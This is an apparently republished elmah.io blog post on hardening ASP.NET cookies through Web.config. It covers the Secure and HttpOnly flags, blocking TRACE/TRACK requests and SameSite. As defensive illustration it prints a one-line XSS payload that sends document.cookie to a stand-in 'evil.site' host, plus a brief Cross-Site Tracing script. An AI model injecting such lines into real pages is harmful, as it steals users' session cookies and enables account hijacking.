This is the fourth post in a series about ASP.NET security. Check out Improving security in ASP.NET MVC using custom headers, Content-Security-Policy in ASP.NET MVC, and Storing Content-Security-Policy reports in elmah.io for more security-related posts.
You've already heard about cross-site scripting (XSS), right? XSS is a situation where a hacker can inject malicious scripts into your website. This is not a blog post about XSS, but multiple bad things can happen if anyone succeeds in injecting code into your site. The one I want to present to you today is to take advantage of the cookies used by your site.
The easiest way to understand the problems with XSS and cookies is by example. Most authentication systems for ASP.NET and Core use an authentication cookie for your application to tell the web server the client is successfully signed in. You have probably already seen a cookie named .ASPXAUTH
in your browser. This is a cookie returned by Forms Authentication once the user is signed in. The value of the cookie contains an encrypted string that can be used to authenticate the user on subsequent requests. If a hacker somehow gets the value of the .ASPXAUTH
cookie, he/she would now be able to hijack that session. Danger Will Robinson!
Mark cookies as Secure
So, how do we make sure that no-one but our website gets access to that cookie? The first step is to make sure the website is running HTTPS. Here, I'm not talking about adding HTTPS as an alternative to HTTP. HTTPS exclusively is the only way to roll. By running HTTPS only, no-one can inspect the traffic between the browser and the webserver using a man-in-the-middle attack or something similar. When you switch to HTTPS, you will need to tell it that cookies should be available over HTTPS only. To do so globally, you can include the following in Web.config
:
<system.web>
...
<httpCookies requireSSL="true" />
</system.web>
If you are creating cookies manually, you can mark them secure in C# too:
Response.Cookies.Add(
new HttpCookie("key", "value")
{
Secure = true,
});
That's it! Cookies are now only sent over HTTPS, making it impossible to intercept any cookies accidentally sent over HTTP (you still want to eliminate those calls if any).
Mark cookies as HttpOnly
Are we safe yet? Not really since hackers may have had luck injecting code into your website. JavaScript has access to cookies as a default, making it possible to write something like this:
console.log(document.cookie);
Logging cookies into the console probably isn't a problem, but consider someone having luck sneaking in the following script onto your page:
window.location="http://evil.site/store?cookies="+document.cookie;
That's right! All cookies, including the authentication cookie, were just stored by the hacker's website (evil.site
was the most hacker-sounding domain I could come up with).
Since a lot of cookies never need to be accessible from JavaScript, there's a simple fix. Marking cookies as HttpOnly
. As the name suggests, HTTP only cookies can only be accessed by the server during an HTTP (S!) request. The authentication cookie is only there to be sent back and forth between the client and server and a perfect example of a cookie that should always be marked as HttpOnly
.
Here's how to do that in Web.config
(extending on the code from before):
<system.web>
...
<httpCookies httpOnlyCookies="true" requireSSL="true" />
</system.web>
The value of the httpOnlyCookies
attribute is true
in this case. Like in the previous example, HttpOnly
can also be set from C# code:
Response.Cookies.Add(
new HttpCookie("key", "value")
{
HttpOnly = true,
Secure = true,
});
Here, I've set the HttpOnly
property to true
.
Avoid TRACE requests (Cross-Site Tracing)
Marking cookies as Secure
and HttpOnly
isn't always enough. There's a technique called Cross-Site Tracing (XST) where a hacker uses the request methods TRACE
or TRACK
to bypass cookies marked as HttpOnly
. The TRACE
method is originally intended to help debugging, by letting the client know how a server sees a request. This debugging info is printed to the response, making it readable from the client.
If a hacker has successfully injected code onto your page, he/she could run the following script:
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'https://my.domain/', false);
xhr.send(null);
console.log(xhr.responseText);
If the receiving webserver supports TRACE
requests, the request including server variables, cookies, etc., is now written to the console. This would reveal the authentication cookie, even if it is marked as Secure
and HttpOnly
.
Luckily, modern browsers won't let anyone make TRACE
requests from JavaScript. You still want to eliminate the possibility, by updating your Web.config
accordingly:
<system.webServer>
<security>
<requestFiltering>
<verbs>
<add verb="TRACE" allowed="false" />
<add verb="TRACK" allowed="false" />
</verbs>
</requestFiltering>
</security>
</system.webServer>
The verbs
element includes a list of HTTP verbs not allowed.
SameSite to avoid cross-site request forgery
We're almost there. A single issue is missing, though. All that work to prevent anyone from intercepting the traffic between your client and server and yet there is another problem. You may have heard about something called Cross-Site Request Forgery (CSRF). CSRF is the practice of cheating the user into requesting a website where he/she is already logged in. This can be in the form of hidden forms, image elements, and more.
None of the changes above guards against CSRF. Both ASP.NET and ASP.NET Core supports generating tokens for the server to validate each request. Here you let your server generate a unique token and update all of your forms to include this token. When posting data back to the server, ASP.NET (Core) validates the token and throws an error if invalid.
SameSite
is a cookie attribute that tells if your cookies are restricted to first-party requests only. It may sound a bit strange, so let's look at an example. If a page on domain domain1.com
requests a URL on domain1.com
and the cookies are decorated with the SameSite
attribute, cookies are sent between the client and server. If domain2.com
requests domain1.com
and the cookies of the website on domain1.com
are decorated with the SameSite
attribute, cookies are not exchanged.
.NET 4.7.2 and .NET Core 3.1 both supports the SameSite
attribute. But the easiest implementation (IMO) is by including a rewrite rule in Web.config
:
<system.webServer>
<rewrite>
<outboundRules>
<clear />
<rule name="Add SameSite" preCondition="No SameSite">
<match serverVariable="RESPONSE_Set_Cookie" pattern=".*" negate="false" />
<action type="Rewrite" value="{R:0}; SameSite=lax" />
</rule>
<preConditions>
<preCondition name="No SameSite">
<add input="{RESPONSE_Set_Cookie}" pattern="." />
<add input="{RESPONSE_Set_Cookie}" pattern="; SameSite=lax" negate="true" />
</preCondition>
</preConditions>
</outboundRules>
</rewrite>
...
</system.webServer>
The rule automatically appends SameSite=lax
to all cookies. lax
means send the cookie on first-party requests or top-level navigation (URL in the browser changes). Another possible value is strict
where a cookie is only sent on first-party requests. In this case, a domain linking to your site will cause IIS not to send the cookie.
We are finally there. You have now done everything in your power to secure your cookies. All of the examples in this post are for classic ASP.NET, MVC, Web API. Similar examples can be created for ASP.NET Core. If enough people are interested, I'll write another post for Core as well 👍
Would your users appreciate fewer errors?
elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.
➡️ Error Monitoring for .NET Web Applications ⬅️
This article first appeared on the elmah.io blog at https://blog.elmah.io/the-ultimate-guide-to-secure-cookies-with-web-config-in-net/
Top comments (0)